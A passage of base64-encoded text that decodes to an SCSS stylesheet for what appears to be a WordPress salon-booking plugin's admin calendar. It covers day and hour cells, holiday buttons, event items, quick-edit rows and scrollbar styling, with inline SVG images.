iB0cmFuc3BhcmVudDtcbiAgICB9XG4gIH1cbiAgLmNhbC1kYXktaG91ci1wYXJ0IFtkYXRhLWFjdGlvbj0nYWRkLWV2ZW50LWJ5LWRhdGUnXSxcbiAgLmNhbC1kYXktaG91ci1wYXJ0LmFjdGl2ZSAuYmxvY2tfZGF0ZSB7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9kX2JnLS1tYWluLS1saWdodDtcbiAgICB3aWR0aDogM3JlbTtcbiAgICBoZWlnaHQ6IDNyZW07XG4gICAgbWFyZ2luLXJpZ2h0OiAwLjJlbTtcbiAgICAvL3Bvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICAvL3RvcDogNTAlO1xuICAgIG1pbi13aWR0aDogYWRtaW5fY29uZmlnLiRncmlkLWd1dHRlci13aWR0aCAhaW1wb3J0YW50O1xuICAgIGZvbnQtc2l6ZTogMTJweDtcbiAgICBsaW5lLWhlaWdodDogMWVtO1xuICAgIHBhZGRpbmc6IDA7XG4gICAgbGVmdDogMTAyJTtcbiAgICB6LWluZGV4OiA5OTk7XG5cbiAgICBwb3NpdGlvbjogcmVsYXRpdmU7XG4gICAgdG9wOiB1bnNldDtcbiAgICBsZWZ0OiB1bnNldDtcbiAgICByaWdodDogdW5zZXQ7XG4gICAgdHJhbnNmb3JtOiBub25lO1xuICAgIC8vICY6aG92ZXIge1xuICAgIC8vICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9kX2JnLS1tYWluLS1saWdodGVyO1xuICAgIC8vIH1cbiAgICBAbWVkaWEgb25seSBzY3JlZW4gYW5kIChtYXgtd2lkdGg6IDc2N3B4KSB7XG4gICAgICAvLyAgICB3aWR0aDogJGdyaWQtZ3V0dGVyLXdpZHRoKjkuNjtcbiAgICAgIC8vICAgIGxlZnQ6IDA7XG4gICAgICAvLyAgICB6LWluZGV4OiA5OTk7XG4gICAgICAvLyAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZSgwKTtcbiAgICB9XG4gICAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKGRlc2t0b3ApIHtcbiAgICAgIC8vbGVmdDogYXV0bztcbiAgICAgIC8vbGVmdDogaW5pdGlhbDtcbiAgICB9XG4gIH1cbiAgLmNhbC1kYXktaG91ci1wYXJ0LmFjdGl2ZS5zZWxlY3RlZCAuYmxvY2tfZGF0ZSxcbiAgLmF0dC10aW1lLXNsb3QuYWN0aXZlLnNlbGVjdGVkLnRvLXNlbGVjdCAuYmxvY2tfZGF0ZSAge1xuICAgICYuc2xuLWljb25vbmx5LW5ldyB7XG4gICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICAgICY6OmFmdGVyIHtcbiAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgICAgIH1cbiAgICB9XG4gIH1cbiAgLmNhbC1kYXktaG91ci1wYXJ0LmFjdGl2ZSAuYmxvY2tfZGF0ZSB7XG4gICAgbWFyZ2luLXJpZ2h0OiAwO1xuICB9XG5cbiAgLmNhbC1kYXktaG91ci1wYXJ0IHtcbiAgICB0cmFuc2l0aW9uOiBhbGwgMzUwbXM7XG4gICAgLnNsbi1idG4tLWNhbC1kYXktc2VsZWN0IHtcbiAgICAgIC8vIGRpc3BsYXk6IGZsZXg7XG4gICAgICAvLyBmbGV4LWRpcmVjdGlvbjogcm93LXJldmVyc2U7XG4gICAgICAvLyBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcbiAgICAgIC8vIGFsaWduLWl0ZW1zOiBjZW50ZXI7XG4gICAgICAvLyBnYXA6IDAuNmVtO1xuICAgICAgLy8gdGV4dC1hbGlnbjogY2VudGVyO1xuICAgICAgLy8gaGVpZ2h0OiA0MHB4O1xuICAgICAgLy8gd2lkdGg6IDE2MHB4O1xuICAgICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgICAgdG9wOiA1MCU7XG4gICAgICBsZWZ0OiAxMDBweDtcbiAgICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlWSgwKTtcbiAgICAgIHBhZGRpbmc6IDFlbSAyLjVlbTtcbiAgICAgIGJvcmRlci13aWR0aDogMnB4O1xuICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9kX2JnLS1tYWluLS1saWdodDtcbiAgICAgIGZvbnQtc2l6ZTogMXJlbTtcbiAgICAgIGZvbnQtd2VpZ2h0OiA2MDA7XG4gICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9kX21haW47XG4gICAgICBsZXR0ZXItc3BhY2luZzogMC4xcmVtO1xuICAgICAgb3BhY2l0eTogMDtcbiAgICB9XG4gICAgJi5zbG4tYnRuLS1pY29uIHtcbiAgICAgICY6OmFmdGVyIHtcbiAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlO1xuICAgICAgICBpbnNldDogYXV0bztcbiAgICAgIH1cbiAgICB9XG4gICAgQG1lZGlhIChob3ZlcjogaG92ZXIpLCAoLW1zLWhpZ2gtY29udHJhc3Q6IG5vbmUpIHtcbiAgICAgICY6aG92ZXIge1xuICAgICAgICAuc2xuLWJ0bi0tY2FsLWRheS1zZWxlY3Qge1xuICAgICAgICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlWSgtNTAlKSBzY2FsZSgxLjEpO1xuICAgICAgICB9XG4gICAgICB9XG4gICAgfVxuICAgICY6aG92ZXIgLnNsbi1idG4tLWNhbC1kYXktc2VsZWN0IHtcbiAgICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlWSgtNTAlKTtcbiAgICAgIHZpc2liaWxpdHk6IHZpc2libGU7XG4gICAgICBvcGFjaXR5OiAxO1xuICAgIH1cbiAgICAgIFxuICAgICYudG8tc2VsZWN0IHtcbiAgICAgIC5zbG4tYnRuLS1jYWwtZGF5LXNlbGVjdCB7XG4gICAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfZF9iZy0tbGlnaHQtMjtcbiAgICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfcHJvYmxlbS0tbGlnaHQ7XG4gICAgICB9XG4gICAgfVxuICB9XG4gIC5jYWwtZGF5LWhvdXItcGFydCAuc3BhbjEsXG4gIC5jYWwtZGF5LWhvdXItcGFydCAuc2xuLWJ0bi0tY2FsLWRheS1zZWxlY3Qge1xuICAgIHBvaW50ZXItZXZlbnRzOiBub25lO1xuICB9XG4gIC5jYWwtZGF5LWhvdXItcGFydCAuc2xuLWJ0bi0tY2FsLWRheS1zZWxlY3QsXG4gIC5jYWwtZGF5LWhvdXItcGFydC5hY3RpdmUgLnNsbi1idG4tLWNhbC1kYXktc2VsZWN0LFxuICAuY2FsLWRheS1ob3VyLXBhcnQuc2VsZWN0ZWQgLnNsbi1idG4tLWNhbC1kYXktc2VsZWN0LFxuICAuY2FsLWRheS1ob3VyLXBhcnQuYmxvY2tlZCAuc2xuLWJ0bi0tY2FsLWRheS1zZWxlY3Qge1xuICAgIHZpc2liaWxpdHk6IGhpZGRlbjtcbiAgfVxuICAjY2FsLWRheS1ib3ggI2NhbC1kYXktcGFuZWwge1xuICAgIHdpZHRoOiA5MCU7XG4gICAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKGRlc2t0b3ApIHtcbiAgICAgIHdpZHRoOiAxMDAlO1xuICAgIH1cbiAgfVxuICAvLyBUQUJMRSBIT1JJWk9OVEFMIFNDUk9MTCBPTiBNT0JJTEVcbiAgQG1lZGlhIG9ubHkgc2NyZWVuIGFuZCAobWF4LXdpZHRoOiA3NjdweCkge1xuICAgIC5jYWwtZGF5LXBhbmVsX193cmFwcGVyIHtcbiAgICAgIG92ZXJmbG93LXk6IGF1dG87XG4gICAgICAvKiBGSVggMDkyMDIzcGFkZGluZy10b3A6ICRncmlkLWd1dHRlci13aWR0aCAqIDM7ICovXG4gICAgICBwYWRkaW5nLWJvdHRvbTogMzBweDtcbiAgICAgICNjYWwtZGF5LXBhbmVsIHtcbiAgICAgICAgbWluLXdpZHRoOiA2MjBweDtcbiAgICAgIH1cbiAgICB9XG4gICAgOjotd2Via2l0LXNjcm9sbGJhciB7XG4gICAgICAtd2Via2l0LWFwcGVhcmFuY2U6IG5vbmU7XG4gICAgfVxuXG4gICAgOjotd2Via2l0LXNjcm9sbGJhcjpob3Jpem9udGFsIHtcbiAgICAgIGhlaWdodDogMThweDtcbiAgICB9XG5cbiAgICA6Oi13ZWJraXQtc2Nyb2xsYmFyLXRodW1iIHtcbiAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbWVkaXVtO1xuICAgICAgYm9yZGVyLXJhZGl1czogMTBweDtcbiAgICAgIGJvcmRlcjogMnB4IHNvbGlkIGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQ7XG4gICAgfVxuXG4gICAgOjotd2Via2l0LXNjcm9sbGJhci10cmFjayB7XG4gICAgICBib3JkZXItcmFkaXVzOiAxMHB4O1xuICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodDtcbiAgICB9XG4gIH1cbn1cbi5jYWwtZGF5LWhvdXItcGFydC5hY3RpdmUge1xuICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX2RfYmctLW1haW4tLWxpZ2h0O1xufVxuXG4uY2FsLWRheS1ob3VyLXBhcnQuc2VsZWN0ZWQsXG4uY2FsLWRheS1ob3VyLXBhcnQub2ZmaG91cnMsXG4uY2FsLWRheS1ob3VyLXBhcnQudG8tc2VsZWN0OmhvdmVyIHtcbiAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9wcm9ibGVtLS1saWdodCAhaW1wb3J0YW50O1xuICB1c2VyLXNlbGVjdDogbm9uZTtcbiAgLW1vei11c2VyLXNlbGVjdDogbm9uZTtcbiAgLXdlYmtpdC11c2VyLXNlbGVjdDogbm9uZTtcbiAgLW1zLXVzZXItc2VsZWN0OiBub25lO1xufVxuLmNhbC1kYXktaG91ci1wYXJ0Lm9mZi1ob3Vyczpob3Zlcixcbi5jYWwtZGF5LWhvdXItcGFydC5zZWxlY3RlZDpob3ZlciB7XG4gIGJhY2tncm91bmQtY29sb3I6ICNmMDc4ODIgIWltcG9ydGFudDtcbn1cblxuLmNhbC1kYXktaG91ci1wYXJ0LmJsb2NrZWQsXG4uY2FsLWRheS1ob3VyLXBhcnQub2ZmLWhvdXJzIHtcbiAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9wcm9ibGVtLS1saWdodDtcbiAgb3BhY2l0eTogMC4zNTtcbiAgdXNlci1zZWxlY3Q6IG5vbmU7XG4gIC1tb3otdXNlci1zZWxlY3Q6IG5vbmU7XG4gIC13ZWJraXQtdXNlci1zZWxlY3Q6IG5vbmU7XG4gIC1tcy11c2VyLXNlbGVjdDogbm9uZTtcbiAgJjpob3ZlciB7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9wcm9ibGVtLS1saWdodDtcbiAgfVxufVxuLmNhbC1kYXktY2xpY2stdGlwIHtcbiAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gIC8vcG9zaXRpb246IGFic29sdXRlO1xuICAvL3RvcDogNTAlO1xuICAvL3RyYW5zZm9ybTogdHJhbnNsYXRlWSgtNTAlKTtcbiAgLy9sZWZ0OiA0MCU7XG4gIGZvbnQtc2l6ZTogMWVtO1xuICBkaXNwbGF5OiBub25lO1xuICAmOmFmdGVyIHtcbiAgICB0ZXh0LWFsaWduOiBsZWZ0O1xuICAgIGxlZnQ6IC0xLjJyZW07XG4gIH1cbn1cbi5jYWwtZGF5LWhvdXItcGFydC5zZWxlY3RlZDpob3ZlciBidXR0b25bZGF0YS1hY3Rpb249J2FkZC1ldmVudC1ieS1kYXRlJ10sXG4uY2FsLWRheS1ob3VyLXBhcnQuYmxvY2tlZDpob3ZlciBidXR0b25bZGF0YS1hY3Rpb249J2FkZC1ldmVudC1ieS1kYXRlJ10ge1xuICBkaXNwbGF5OiBub25lICFpbXBvcnRhbnQ7XG59XG4uY2FsLWRheS1ob3VyLXBhcnQuYmxvY2tlZDpob3ZlciB7XG4gIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfcHJvYmxlbS0tbGlnaHQgIWltcG9ydGFudDtcbn1cbi5jYWxlbmRhci1ob2x5ZGF5cy1idXR0b24ge1xuICB6LWluZGV4OiB1bnNldDtcbiAgLy8gZm9udC1zaXplOiAxZW07XG4gIC8vIGxpbmUtaGVpZ2h0OiAxZW07XG4gIDpub3QoLnNsbi1idG4tLWNhbGVuZGFyLXZpZXctLXBpbGwpIHtcbiAgICBib3JkZXI6IG5vbmU7XG4gIH1cbiAgLy9AaW5jbHVkZSBicCh0YWJsZXQpIHtcbiAgcmlnaHQ6IGF1dG87XG4gIHJpZ2h0OiBpbml0aWFsO1xuICBsZWZ0OiB1bnNldDtcbiAgdHJhbnNmb3JtOiB0cmFuc2xhdGVZKC01MCUpO1xuICAvL31cbiAgLy8gdGV4dC1hbGlnbjogY2VudGVyO1xuICAvLyBoZWlnaHQ6IDQ4cHg7XG4gIC8vIHdpZHRoOiAxNjBweDtcbiAgLy8gY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbjtcbiAgLy8gYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodDtcbn1cbi5jYWxlbmRhci1ob2x5ZGF5cy1idXR0b24ub25seW9uZSB7XG4gIC8vdHJhbnNmb3JtOiB0cmFuc2xhdGUoLTUwJSwtMCk7XG4gIGN1cnNvcjogcG9pbnRlcjtcbiAgJjpob3ZlcixcbiAgJjphY3RpdmUsXG4gICY6Zm9jdXMge1xuICAgIG91dGxpbmU6IDA7XG4gICAgLy8gRklYOiBQcmV2ZW50IGJ1dHRvbiBtb3ZlbWVudCBvbiBob3ZlciBieSBkaXNhYmxpbmcgc2NhbGUgdHJhbnNmb3JtXG4gICAgdHJhbnNmb3JtOiB0cmFuc2xhdGVZKC01MCUpIHNjYWxlKDEpICFpbXBvcnRhbnQ7XG4gICAgYm9yZGVyOiBub25lICFpbXBvcnRhbnQ7XG4gIH1cbn1cbi8vIEFsc28gZml4IGZvciBub24tb25seW9uZSBidXR0b25zXG4uY2FsZW5kYXItaG9seWRheXMtYnV0dG9uIHtcbiAgJjpob3ZlcixcbiAgJjphY3RpdmUsXG4gICY6Zm9jdXMge1xuICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlWSgtNTAlKSBzY2FsZSgxKSAhaW1wb3J0YW50O1xuICB9XG59XG5cbmh0bWwuaW4taWZyYW1lIHtcbiAgb3ZlcmZsb3cteTogc2Nyb2xsO1xuICAtd2Via2l0LW92ZXJmbG93LXNjcm9sbGluZzogdG91Y2g7XG59XG4jY2FsLWRheS1ib3ggI2NhbC1kYXktcGFuZWwgLmRheS1ldmVudCB7XG4gIHdpZHRoOiAyMDBweCAhaW1wb3J0YW50O1xuICBtYXgtd2lkdGg6IDIwMHB4ICFpbXBvcnRhbnQ7XG4gIC8vIGJhY2tncm91bmQtaW1hZ2U6IHVybChcImRhdGE6aW1hZ2Uvc3ZnK3htbCwlM0Nzdmcgdmlld0JveD0nMCAwIDM2IDgnIGZpbGw9J25vbmUnIHhtbG5zPSdodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyclM0UlM0NwYXRoIGQ9J00xOCA2QzE5LjEwNDYgNiAyMCA1LjEwNDU3IDIwIDRDMjAgMi44OTU0MyAxOS4xMDQ2IDIgMTggMkMxNi44OTU0IDIgMTYgMi44OTU0MyAxNiA0QzE2IDUuMTA0NTcgMTYuODk1NCA2IDE4IDZaJyBzdHJva2U9JyN7YWRtaW5fY29uZmlnLiRjbF9tYWlufScgc3Ryb2tlLXdpZHRoPSc0JyBzdHJva2UtbGluZWNhcD0ncm91bmQnIHN0cm9rZS1saW5lam9pbj0ncm91bmQnLyUzRSUzQ3BhdGggZD0nTTMyIDZDMzMuMTA0NiA2IDM0IDUuMTA0NTcgMzQgNEMzNCAyLjg5NTQzIDMzLjEwNDYgMiAzMiAyQzMwLjg5NTQgMiAzMCAyLjg5NTQzIDMwIDRDMzAgNS4xMDQ1NyAzMC44OTU0IDYgMzIgNlonIHN0cm9rZT0nI3thZG1pbl9jb25maWcuJGNsX21haW59JyBzdHJva2Utd2lkdGg9JzQnIHN0cm9rZS1saW5lY2FwPSdyb3VuZCcgc3Ryb2tlLWxpbmVqb2luPSdyb3VuZCcvJTNFJTNDcGF0aCBkPSdNNCA2QzUuMTA0NTcgNiA2IDUuMTA0NTcgNiA0QzYgMi44OTU0MyA1LjEwNDU3IDIgNCAyQzIuODk1NDMgMiAyIDIuODk1NDMgMiA0QzIgNS4xMDQ1NyAyLjg5NTQzIDYgNCA2Wicgc3Ryb2tlPScje2FkbWluX2NvbmZpZy4kY2xfbWFpbn0nIHN0cm9rZS13aWR0aD0nNCcgc3Ryb2tlLWxpbmVjYXA9J3JvdW5kJyBzdHJva2UtbGluZWpvaW49J3JvdW5kJy8lM0UlM0Mvc3ZnJTNFXCIpO1xuICAvLyBiYWNrZ3JvdW5kLXNpemU6IDJyZW07XG4gIC8vIGJhY2tncm91bmQtcmVwZWF0OiBuby1yZXBlYXQ7XG4gIC8vIGJhY2tncm91bmQtcG9zaXRpb246IGNhbGMoMTAwJSAtIDFyZW0pIGNhbGMoMTAwJSAtIDFyZW0pO1xuICAmOjpiZWZvcmUge1xuICAgIGNvbnRlbnQ6ICcnO1xuICAgIGRpc3BsYXk6IGlubGluZS1ibG9jaztcbiAgICB3aWR0aDogMnJlbTtcbiAgICBoZWlnaHQ6IDAuNXJlbTtcbiAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgcmlnaHQ6IDFyZW07XG4gICAgYm90dG9tOiAxcmVtO1xuICAgIGJhY2tncm91bmQtaW1hZ2U6IHVybChcImRhdGE6aW1hZ2Uvc3ZnK3htbCwlM0Nzdmcgdmlld0JveD0nMCAwIDM2IDgnIGZpbGw9J25vbmUnIHhtbG5zPSdodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyclM0UlM0NwYXRoIGQ9J00xOCA2QzE5LjEwNDYgNiAyMCA1LjEwNDU3IDIwIDRDMjAgMi44OTU0MyAxOS4xMDQ2IDIgMTggMkMxNi44OTU0IDIgMTYgMi44OTU0MyAxNiA0QzE2IDUuMTA0NTcgMTYuODk1NCA2IDE4IDZaJyBzdHJva2U9JyN7YWRtaW5fY29uZmlnLiRjbF9tYWlufScgc3Ryb2tlLXdpZHRoPSc0JyBzdHJva2UtbGluZWNhcD0ncm91bmQnIHN0cm9rZS1saW5lam9pbj0ncm91bmQnLyUzRSUzQ3BhdGggZD0nTTMyIDZDMzMuMTA0NiA2IDM0IDUuMTA0NTcgMzQgNEMzNCAyLjg5NTQzIDMzLjEwNDYgMiAzMiAyQzMwLjg5NTQgMiAzMCAyLjg5NTQzIDMwIDRDMzAgNS4xMDQ1NyAzMC44OTU0IDYgMzIgNlonIHN0cm9rZT0nI3thZG1pbl9jb25maWcuJGNsX21haW59JyBzdHJva2Utd2lkdGg9JzQnIHN0cm9rZS1saW5lY2FwPSdyb3VuZCcgc3Ryb2tlLWxpbmVqb2luPSdyb3VuZCcvJTNFJTNDcGF0aCBkPSdNNCA2QzUuMTA0NTcgNiA2IDUuMTA0NTcgNiA0QzYgMi44OTU0MyA1LjEwNDU3IDIgNCAyQzIuODk1NDMgMiAyIDIuODk1NDMgMiA0QzIgNS4xMDQ1NyAyLjg5NTQzIDYgNCA2Wicgc3Ryb2tlPScje2FkbWluX2NvbmZpZy4kY2xfbWFpbn0nIHN0cm9rZS13aWR0aD0nNCcgc3Ryb2tlLWxpbmVjYXA9J3JvdW5kJyBzdHJva2UtbGluZWpvaW49J3JvdW5kJy8lM0UlM0Mvc3ZnJTNFXCIpO1xuICAgIGJhY2tncm91bmQtc2l6ZTogMnJlbTtcbiAgICBiYWNrZ3JvdW5kLXJlcGVhdDogbm8tcmVwZWF0O1xuICAgIGJhY2tncm91bmQtcG9zaXRpb246IGNlbnRlciBjZW50ZXI7XG4gIH1cbiAgJi5icmVhay1kb3duIHtcbiAgICAmOjpiZWZvcmUge1xuICAgICAgYm90dG9tOiAycmVtO1xuICAgIH1cbiAgfVxufVxuI2NhbC1kYXktYm94ICNjYWwtZGF5LXBhbmVsIC5kYXktaGlnaGxpZ2h0LmRheS1ldmVudCxcbiNjYWwtZGF5LWJveCAjY2FsLWRheS1wYW5lbCAuZGF5LWV2ZW50IHtcbiAgYm9yZGVyLWxlZnQ6IDFweCBzb2xpZCBhZG1pbl9jb25maWcuJGNsX2RfYmctLW1haW4tLWxpZ2h0ICFpbXBvcnRhbnQ7XG59XG4vLyAuZGF5LWV2ZW50LXBhbmVsLWJvcmRlciArIC5kYXktZXZlbnQge1xuLy8gfVxuLmRheS1ldmVudC1pdGVtIHtcbiAgaGVpZ2h0OiAxMDAlO1xuICBkaXNwbGF5OiBmbGV4O1xuICBmbGV4LWRpcmVjdGlvbjogY29sdW1uO1xufVxuXG4uZGF5LWV2ZW50LWl0ZW1fX2Zyb20tdGltZSB7XG4gIGRpc3BsYXk6IGJsb2NrO1xuICBmb250LXNpemU6IDEycHg7XG4gIGxpbmUtaGVpZ2h0OiAxLjJlbTtcbiAgbWFyZ2luOiA1cHggMCAwO1xuICBjb2xvcjogIzAwMDtcbn1cblxuLmRheS1ldmVudC1pdGVtX190by10aW1lIHtcbiAgZGlzcGxheTogYmxvY2s7XG4gIGZvbnQtc2l6ZTogMTJweDtcbiAgbGluZS1oZWlnaHQ6IDEuMmVtO1xuICBjb2xvcjogIzAwMDtcbn1cblxuLmRheS1ldmVudC1pdGVtX19zdGF0dXMtYmxvY2sge1xuICBmbGV4LWdyb3c6IDE7XG4gIGRpc3BsYXk6IGZsZXg7XG4gIGZsZXgtZGlyZWN0aW9uOiBjb2x1bW4tcmV2ZXJzZTtcbiAgb3ZlcmZsb3c6IGhpZGRlbjtcbn1cblxuLmRheS1ldmVudC1pdGVtX19zdGF0dXMtYmxvY2tfX3N0YXR1cyB7XG4gIGRpc3BsYXk6IGJsb2NrO1xuICB0ZXh0LXRyYW5zZm9ybTogdXBwZXJjYXNlO1xuICBmb250LXNpemU6IDExcHg7XG4gIGZvbnQtd2VpZ2h0OiBib2xkO1xuICBsaW5lLWhlaWdodDogMS4xZW07XG4gIHBhZGRpbmctYm90dG9tOiAwLjVlbTtcbn1cblxuI2NhbC1kYXktYm94IC5kYXktaGlnaGxpZ2h0OmhvdmVyIHtcbiAgdGV4dC1kZWNvcmF0aW9uOiBub25lICFpbXBvcnRhbnQ7XG59XG5cbi8vIC5kYXktaGlnaGxpZ2h0OmhvdmVyIHtcbi8vIH1cblxuI3Nsbi1zYWxvbi0tYWRtaW4gLnNsbi1jaGVja291dC1maWVsZHMtLXJvdyAuc2xuLWNoZWNrYm94LFxuI3Nsbi1zYWxvbi0tYWRtaW4gLnNsbi1jaGVja291dC1maWVsZHMtLXJvdyAuZm9ybS1ncm91cCB7XG4gIG1hcmdpbi1ib3R0b206IDA7XG59XG5cbiNzbG4tc2Fsb24tLWFkbWluXG4gIC5zbG4tY2hlY2tvdXQtZmllbGRzXG4gIC5zbG4tY2hlY2tvdXQtZmllbGRzLS1yb3dcbiAgLnNsbi1jaGVja2JveFxuICBsYWJlbCB7XG4gIG1hcmdpbi10b3A6IDA7XG59XG5cbiN3cGJvZHktY29udGVudFxuICAucXVpY2stZWRpdC1yb3ctcGFnZS5pbmxpbmUtZWRpdC1zbG5fYXR0ZW5kYW50XG4gIC5pbmxpbmUtZWRpdC1jb2wtbGVmdCxcbiN3cGJvZHktY29udGVudFxuICAucXVpY2stZWRpdC1yb3ctcGFnZS5pbmxpbmUtZWRpdC1zbG5fYXR0ZW5kYW50XG4gIC5pbmxpbmUtZWRpdC1jb2wtcmlnaHQge1xuICBkaXNwbGF5OiBub25lO1xufVxuXG4jd3Bib2R5LWNvbnRlbnRcbiAgLnF1aWNrLWVkaXQtcm93LXBhZ2UuaW5saW5lLWVkaXQtc2xuX2F0dGVuZGFudFxuICAuc2xuLWlubGluZS1hdHRlbmRhbnQtZWRpdC1jb2wge1xuICBkaXNwbGF5OiBibG9jaztcbn1cblxuI3dwYm9keS1jb250ZW50XG4gIC5xdWljay1lZGl0LXJvdy1wYWdlLmlubGluZS1lZGl0LXNsbl9zZXJ2aWNlXG4gIC5pbmxpbmUtZWRpdC1jb2wtbGVmdCxcbiN3cGJvZHktY29udGVudFxuICAucXVpY2stZWRpdC1yb3ctcGFnZS5pbmxpbmUtZWRpdC1zbG5fc2VydmljZVxuICAuaW5saW5lLWVkaXQtY29sLXJpZ2h0IHtcbiAgZGlzcGxheTogbm9uZTtcbn1cblxuI3dwYm9keS1jb250ZW50XG4gIC5xdWljay1lZGl0LXJvdy1wYWdlLmlubGluZS1lZGl0LXNsbl9zZXJ2aWNlXG4gIC5zbG4taW5saW5lLXNlcnZpY2UtZWRpdC1jb2wge1xuICBkaXNwbGF5OiBibG9jaztcbn1cblxuLypcbi5zbG4taGVscC1idXR0b24ge1xuICAgIGJvcmRlcjogbm9uZTtcbiAgICBwYWRkaW5nOiA3cHggMThweDtcbiAgICBib3JkZXItcmFkaXVzOiAxNXB4O1xuICAgIHRleHQtZGVjb3JhdGlvbjogbm9uZTtcbiAgICBjdXJzb3I6IHBvaW50ZXI7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogIzRiYmE3NztcbiAgICBjb2xvcjogd2hpdGU7XG4gICAgZm9udC13ZWlnaHQ6IG5vcm1hbDtcbn1cblxuLnNsbi1oZWxwLWJ1dHRvbl9faWNvbiB7XG4gICAgbWFyZ2luLXJpZ2h0OiA1cHg7XG4gICAgdmVydGljYWwtYWxpZ246IG1pZGRsZTtcbiAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG59XG5cbi5zbG4taGVscC1idXR0b24uYWN0aXZlIC5zbG4taGVscC1idXR0b25fX2ljb24tb3Blbixcbi5zbG4taGVscC1idXR0b25fX2ljb24tY2xvc2Uge1xuICAgIGRpc3BsYXk6IG5vbmU7XG59XG5cbi5zbG4taGVscC1idXR0b24uYWN0aXZlIC5zbG4taGVscC1idXR0b25fX2ljb24tY2xvc2Uge1xuICAgIGRpc3BsYXk6IGlubGluZTtcbn1cblxuI3Nsbi1zYWxvbi0tYWRtaW4gLnNsbi1oZWxwLWJ1dHRvbiAuc2xuLWhlbHAtYnV0dG9uX19pY29uIGltZyxcbi5zbG4taGVscC1idXR0b24gLnNsbi1oZWxwLWJ1dHRvbl9faWNvbiBpbWcge1xuICAgIHZlcnRpY2FsLWFsaWduOiBtaWRkbGU7XG4gICAgbWFyZ2luLXJpZ2h0OiAwO1xufVxuXG4uc2xuLWhlbHAtYnV0dG9uOmhvdmVyIHtcbiAgICBjb2xvcjogd2hpdGU7XG59XG5cbi5zbG4taGVscC1idXR0b24taW4taGVhZGVyLXBhZ2Uge1xuICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICB0b3A6IDIwcHg7XG4gICAgcmlnaHQ6IDMyMHB4O1xuICAgIHotaW5kZXg6IDEwMDA7XG59XG5cblxuXG4uc2xuLWhlbHAtYnV0dG9uXG4gICAgLnNsbi1oZWxwLWJ1dHRvbl9faWNvbi1jbG9zZVxuICAgIC5kYXNoaWNvbnMuZGFzaGljb25zLW5vLWFsdDpiZWZvcmUge1xuICAgIGNvbnRlbnQ6IFwiXFxmMzM1XCI7XG59XG4uYnRuLWdyb3VwLnNsbi1uYXYtdGFiLXdyYXBwZXIubmF2LXRhYi13cmFwcGVyXG4gICAgLnNsbi1oZWxwLWJ1dHRvbl9fYmxvY2tcbiAgICAuc2xuLWhlbHAtYnV0dG9uLmFjdGl2ZSB7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogIzRiYmE3Nztcbn1cbiovXG5kaXYjYmVhY29uLWNvbnRhaW5lciAuQmVhY29uIC5CZWFjb25Db250YWluZXIge1xuICBib3R0b206IDE1cHg7XG59XG4uQmVhY29uRmFiQnV0dG9uRnJhbWUge1xuICBkaXNwbGF5OiBub25lO1xufVxuLnNsbi1jYWxlbmRhci1zZWFyY2gtcmVzdWx0cy1saXN0IHtcbiAgLy9iYWNrZ3JvdW5kLWNvbG9yOiAjZjdmOGY5O1xuICAvL2JvcmRlcjogMXB4IHNvbGlkICNiYWM1ZDA7XG4gIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgd2lkdGg6IDEwMCU7XG4gIHotaW5kZXg6IDExMTE7XG4gIHRvcDogMTAwJTtcbiAgLy9wYWRkaW5nOiAxLjVyZW07XG4gIG1pbi1oZWlnaHQ6IDNyZW07XG4gIG1pbi13aWR0aDogNTUwcHg7XG4gIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfZF9iZy0tbGlnaHQtMjtcbiAgZGlzcGxheTogbm9uZTtcbiAgbWF4LWhlaWdodDogMzkxcHg7XG4gIG92ZXJmbG93LXk6IHNjcm9sbDtcbiAgYm9yZGVyLXJhZGl1czogMCAwIDIuNzVyZW0gMi43NXJlbTtcblxuICAmLm9wZW5lZCB7XG4gICAgZGlzcGxheTogYmxvY2s7XG4gIH1cblxuICA+IC5saXN0LXVuc3